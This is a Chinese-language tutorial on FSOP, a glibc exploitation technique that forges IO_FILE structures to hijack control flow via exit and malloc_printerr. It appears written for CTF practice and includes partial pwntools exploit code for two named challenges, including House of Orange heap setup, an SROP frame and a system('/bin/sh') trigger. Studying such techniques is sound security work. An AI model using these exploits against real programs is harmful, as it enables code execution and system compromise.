IO_file劫持利用—fsop
字数 2383 2025-08-07 00:34:54
IO_FILE劫持利用—FSOP技术详解
0x00 前置知识
1. IO_FILE相关知识
IO_FILE是glibc中用于文件操作的结构体,包含文件描述符、缓冲区指针和各种标志位。攻击者可以通过伪造IO_FILE结构来劫持程序执行流程。
关键结构成员:
_flags:文件状态标志_IO_read_ptr、_IO_read_end、_IO_read_base:输入缓冲区指针_IO_write_ptr、_IO_write_base:输出缓冲区指针_chain:指向下一个FILE结构的指针vtable:虚函数表指针(位于偏移0xd8处)
2. FSOP利用原理
FSOP(File Stream Oriented Programming)是通过伪造IO_FILE结构来利用glibc中文件流处理函数的攻击技术。主要利用点包括:
exit()函数调用链malloc_printerr错误处理路径
3. _IO_str_jumps查找方法
从glibc 2.24开始引入了vtable检查机制,需要定位_IO_str_jumps符号:
- 通过
nm或readelf查找_IO_str_underflow符号 _IO_str_jumps位于_IO_str_underflow向上偏移0x20处- 使用gdb的
search -p命令查找存储指针的位置
4. House of Orange技术
House of Orange是一种堆利用技术,主要步骤:
- 通过堆溢出修改top chunk的size为较小值
- 申请比top chunk size更大的堆块
- 导致top chunk被释放到unsorted bin中
- 从而在没有free函数的情况下获得一个free chunk
0x01 exit劫持利用
调用路径
exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> stderr -> stderr+0xd8
利用思路
- 修改
_IO_2_1_stderr_+ 0x68为fake_io_file地址 - 将fake_io_file的vtable(偏移0xd8)修改为
_IO_str_jumps - 通过
_IO_str_overflow设置rdx寄存器并调用malloc - 结合提前设置的malloc_hook为setcontext实现堆上ROP
关键汇编指令
mov rbx, stderr:将rbx设置为stderrstderr+0x68是chain字段,用于链接fake_io_filemov rax, [rbx+0xd8]:获取vtable指针call [rax+XX]:调用vtable中的函数
0x02 malloc_printerr劫持利用
调用路径
malloc -> _int_malloc -> __libc_message -> abort -> _IO_flush_all_lockp
利用思路
- 使unsorted bin中有且仅有一个堆块
- 修改该堆块的bk指针为
_IO_list_all - 修改堆块size为0x60(对应small bin[4])
- 触发malloc error进入
_IO_flush_all_lockp - 伪造IO_FILE结构绕过检查并控制执行流
检查绕过条件
需要满足以下条件之一:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
0x03 例题分析
例题1:bytectf2020 gun
利用步骤
- 泄露libc和heap地址
- 构造fake IO_FILE结构
- 设置malloc_hook为setcontext+61
- 通过exit触发FSOP
- 使用SROP实现ORW读取flag
关键exp代码
# 构造fake IO_FILE
IO = '\x00'*0x28
IO += p64(heap_base + 0x360 + 0xE0) # rdx
IO = IO.ljust(0xD8, '\x00')
IO += p64(IO_str_jumps)
# 设置SROP帧
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000
frame.rsp = address
frame.rip = Read
# 触发利用
menu(4)
p.sendlineafter('Goodbye!', orw)
例题2:BUUOJ-house of orange
利用步骤
- 使用House of Orange释放top chunk到unsorted bin
- 泄露libc和heap地址
- 构造fake IO_FILE和small bin chunk
- 修改unsorted bin chunk的bk为
_IO_list_all-0x10 - 触发malloc error执行system("/bin/sh")
关键exp代码
# House of Orange释放top chunk
add(0x30, 'nameless')
pd = 'a'*0x30 + p64(0) + p64(0x21) + 'a'*16 + p64(0)+ p64(0xf80)
edit(len(pd)+1, pd)
add(0x1000, 'nameless')
# 构造fake IO_FILE
fake_io = '/bin/sh\x00' + p64(0x60) + p64(0) + p64(_IO_list_all-0x10)
fake_io += p64(0) + p64(1)
fake_io = fake_io.ljust(0xc0, '\x00')
pd += fake_io
pd += p64(0)*3
pd += p64(heap+0x5e8)
pd += p64(0)*2 + p64(system)
edit(0x800, pd)
0x04 调试技巧
-
关键函数断点:
exit__run_exit_handlers_IO_cleanup_IO_flush_all_lockp_IO_str_overflow
-
关键寄存器观察:
- RBX:通常指向当前IO_FILE结构
- RAX:通常指向vtable或函数指针
- RDX:可通过
_IO_str_overflow控制
-
内存布局检查:
_IO_list_all链表- small bin和unsorted bin状态
- fake IO_FILE结构完整性
0x05 防护绕过
-
glibc 2.24+的vtable检查:
- 必须使用合法的vtable如
_IO_str_jumps - 伪造的vtable必须在
_IO_vtable段内
- 必须使用合法的vtable如
-
指针完整性检查:
_IO_write_ptr必须大于_IO_write_base_mode字段需要合理设置
-
堆布局控制:
- 精确控制堆块大小和位置
- 避免破坏关键堆元数据
0x06 总结
FSOP是一种强大的利用技术,通过伪造IO_FILE结构可以绕过多种现代防护机制。关键点在于:
- 理解IO_FILE结构和虚函数调用机制
- 掌握exit和malloc_printerr的调用路径
- 精确控制堆布局和内存数据
- 合理绕过各种运行时检查
这种技术在CTF比赛中经常出现,也是现实世界中高级漏洞利用的重要手段。